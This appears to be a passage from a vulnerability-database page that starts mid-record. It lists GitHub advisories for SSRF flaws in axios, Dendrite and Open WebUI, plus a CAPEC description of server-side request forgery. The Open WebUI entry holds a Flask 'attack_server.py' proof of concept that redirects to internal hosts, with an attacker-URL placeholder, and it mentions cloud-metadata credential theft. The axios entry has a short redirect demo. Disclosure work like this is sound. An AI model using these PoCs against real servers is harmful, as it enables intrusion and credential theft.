\"axios\";\nconst client = axios.create({ baseURL: \"http://localhost:10001/\" });\nconst response = await client.get(\"http://localhost:10002/\");\nconsole.log(response.data);\n```\n\n3.\tRun the script:\n\n```\n$ node main.js\nthis is server2\n```\n\nEven though `baseURL` is set to `http://localhost:10001/`, axios sends the request to `http://localhost:10002/`.\n\n### Impact\n\n-\tCredential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.\n-\tSSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.\n-\tAffected Users: Software that uses `baseURL` and does not validate path parameters is affected by this issue.",
  "id": "GHSA-jr5f-v2jv-69x6",
  "modified": "2025-11-27T08:44:27Z",
  "published": "2025-03-07T15:16:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/security/advisories/GHSA-jr5f-v2jv-69x6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-27152"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/issues/6463"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/pull/6829"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/commit/02c3c69ced0f8fd86407c23203835892313d7fde"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/commit/fb8eec214ce7744b5ca787f2c3b8339b2f54b00f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/axios/axios"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/releases/tag/v1.8.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL"
}

GHSA-JRCQ-4CCJ-6FR8

Vulnerability from github – Published: 2026-07-17 18:31 – Updated: 2026-07-17 18:31
VLAI
Details

Dendrite through 0.13.8 contains a server-side request forgery vulnerability that allows unauthenticated attackers to cause the server to open outbound TLS connections to arbitrary hosts and ports by supplying an unvalidated serverName parameter to the legacy media download endpoint. Attackers can exploit distinguishable error response classes and leaked internal IP addresses in error messages to perform blind port scanning and enumerate internal network topology.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-63096"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-17T16:17:16Z",
    "severity": "MODERATE"
  },
  "details": "Dendrite through 0.13.8 contains a server-side request forgery vulnerability that allows unauthenticated attackers to cause the server to open outbound TLS connections to arbitrary hosts and ports by supplying an unvalidated serverName parameter to the legacy media download endpoint. Attackers can exploit distinguishable error response classes and leaked internal IP addresses in error messages to perform blind port scanning and enumerate internal network topology.",
  "id": "GHSA-jrcq-4ccj-6fr8",
  "modified": "2026-07-17T18:31:24Z",
  "published": "2026-07-17T18:31:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-63096"
    },
    {
      "type": "WEB",
      "url": "https://github.com/geo-chen/oss/blob/main/dendrite.md#finding-2-unauthenticated-ssrf-and-internal-port-scanner-via-legacy-_matrixmediar0download"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/dendrite-ssrf-via-unauthenticated-legacy-media-download-endpoint"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-JRFP-M64G-PCWV

Vulnerability from github – Published: 2026-06-17 17:55 – Updated: 2026-07-20 21:07
VLAI
Summary
Open WebUI: SSRF Protection Bypass in Playwright Web Loader via HTTP Redirects
Details

Summary

The SafePlaywrightURLLoader implements a validate_url function to prevent SSRF attacks by checking the IP address of the user-provided URL. However, this validation is performed only on the initial URL.

Since Playwright automatically follows HTTP redirects (301/302) by default, an attacker can bypass the validation by providing a safe URL that redirects to a restricted internal network address (e.g., localhost, Docker container network, or Cloud Metadata).

This allows the application to access internal services despite ENABLE_RAG_LOCAL_WEB_FETCH being set to False

Details

Root Cause

The application validates the initial user-provided URL using self._safe_process_url_sync(url). This correctly resolves the domain and ensures it does not point to a private IP.

The application then calls page.goto(url). By default, Playwright automatically follows HTTP redirects (301/302).

The Bypass: If the destination server returns a redirect to an internal IP (e.g., 127.0.0.1 or 169.254.169.254), the browser follows it without re-validating the new destination. The initial validation is bypassed because it only checked the first URL, not the entire redirect chain.

for url in self.urls:
    try:
        self._safe_process_url_sync(url)  
        page = browser.new_page()
        response = page.goto(url, timeout=self.playwright_timeout)  #this
        if response is None:
            raise ValueError(...)
        text = self.evaluator.evaluate(page, browser, response)

PoC

(This PoC uses Docker to easily demonstrate internal network access (accessing a container by service name). However, the vulnerability is NOT tied to Docker.)

  1. Ensure the Open WebUI is configured with the following environment variables. The vulnerability is specific to the Playwright engine.
  2. ENABLE_RAG_LOCAL_WEB_FETCH=False (Default)
  3. RAG_WEB_LOADER_ENGINE=playwright
  4. Setup and run attack server
  5. In Open WebUI, use the "Web Search" or "URL Loader" feature.
  6. Input the attacker's URL (e.g., http://attacker-ip/).
# attack_server.py
from flask import Flask, redirect
app = Flask(__name__)

@app.route('/')
def attack():
    # Redirect to the Open WebUI container's internal port
    return redirect("http://open-webui:8080/api/version", code=302)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

image

The Playwright browser follows the redirect to the internal address (http://open-webui:8080/api/version)

Impact

  • Cloud Environments: Access to Instance Metadata Service (IMDS) to steal cloud credentials.
  • Intranet/On-Premise: Scanning internal networks and accessing unauthenticated internal tools.
  • Container Environments: Accessing other containers within the same network.

Recommended Patch

implement a request interceptor using Playwright's page.route. This ensures all requests, including redirects, are validated before connection.

apply the following logic to both lazy_load and alazy_load methods:

# async context
async def intercept_route(route):
    try:
        await run_in_threadpool(validate_url, route.request.url)
        await route.continue_()
    except Exception:
        await route.abort()

await page.route("**/*", intercept_route)
response = await page.goto(url, timeout=self.playwright_timeout)
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.9.5"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54018"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-17T17:55:44Z",
    "nvd_published_at": "2026-06-23T18:18:07Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nThe SafePlaywrightURLLoader implements a validate_url function to prevent SSRF attacks by checking the IP address of the user-provided URL. However, this validation is performed only on the initial URL.\n\nSince Playwright automatically follows HTTP redirects (301/302) by default, an attacker can bypass the validation by providing a safe URL that redirects to a restricted internal network address (e.g., localhost, Docker container network, or Cloud Metadata).\n\nThis allows the application to access internal services despite ENABLE_RAG_LOCAL_WEB_FETCH being set to False\n\n### Details\nRoot Cause\n\nThe application validates the initial user-provided URL using self._safe_process_url_sync(url). This correctly resolves the domain and ensures it does not point to a private IP.\n\nThe application then calls page.goto(url). By default, Playwright automatically follows HTTP redirects (301/302).\n\nThe Bypass: If the destination server returns a redirect to an internal IP (e.g., 127.0.0.1 or 169.254.169.254), the browser follows it without re-validating the new destination. The initial validation is bypassed because it only checked the first URL, not the entire redirect chain.\n\n```python\nfor url in self.urls:\n    try:\n        self._safe_process_url_sync(url)  \n        page = browser.new_page()\n        response = page.goto(url, timeout=self.playwright_timeout)  #this\n        if response is None:\n            raise ValueError(...)\n        text = self.evaluator.evaluate(page, browser, response)\n```\n\n### PoC\n(This PoC uses Docker to easily demonstrate internal network access (accessing a container by service name). However, the vulnerability is NOT tied to Docker.)\n\n1. Ensure the Open WebUI is configured with the following environment variables. The vulnerability is specific to the Playwright engine.\n2. ENABLE_RAG_LOCAL_WEB_FETCH=False (Default)\n3. RAG_WEB_LOADER_ENGINE=playwright\n4. Setup and run attack server\n5. In Open WebUI, use the \"Web Search\" or \"URL Loader\" feature.\n6. Input the attacker\u0027s URL (e.g., http://attacker-ip/).\n\n```python\n# attack_server.py\nfrom flask import Flask, redirect\napp = Flask(__name__)\n\n@app.route(\u0027/\u0027)\ndef attack():\n    # Redirect to the Open WebUI container\u0027s internal port\n    return redirect(\"http://open-webui:8080/api/version\", code=302)\n\nif __name__ == \u0027__main__\u0027:\n    app.run(host=\u00270.0.0.0\u0027, port=80)\n```\n\u003cimg width=\"580\" height=\"192\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4600dbb5-a81d-4e58-b787-afe04fe59d6e\" /\u003e\n\nThe Playwright browser follows the redirect to the internal address (http://open-webui:8080/api/version)\n\n### Impact\n+ Cloud Environments: Access to Instance Metadata Service (IMDS) to steal cloud credentials.\n+ Intranet/On-Premise: Scanning internal networks and accessing unauthenticated internal tools.\n+ Container Environments: Accessing other containers within the same network.\n\n### Recommended Patch\nimplement a request interceptor using Playwright\u0027s page.route. This ensures all requests, including redirects, are validated before connection.\n\napply the following logic to both lazy_load and alazy_load methods:\n\n```python\n# async context\nasync def intercept_route(route):\n    try:\n        await run_in_threadpool(validate_url, route.request.url)\n        await route.continue_()\n    except Exception:\n        await route.abort()\n\nawait page.route(\"**/*\", intercept_route)\nresponse = await page.goto(url, timeout=self.playwright_timeout)\n```",
  "id": "GHSA-jrfp-m64g-pcwv",
  "modified": "2026-07-20T21:07:58Z",
  "published": "2026-06-17T17:55:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-jrfp-m64g-pcwv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54018"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-jrfp-m64g-pcwv"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/open-webui/PYSEC-2026-2743.yaml"
    },
    {
      "type": "WEB",
      "url": "https://pypi.org/project/open-webui"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI: SSRF Protection Bypass in Playwright Web Loader via HTTP Redirects"
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.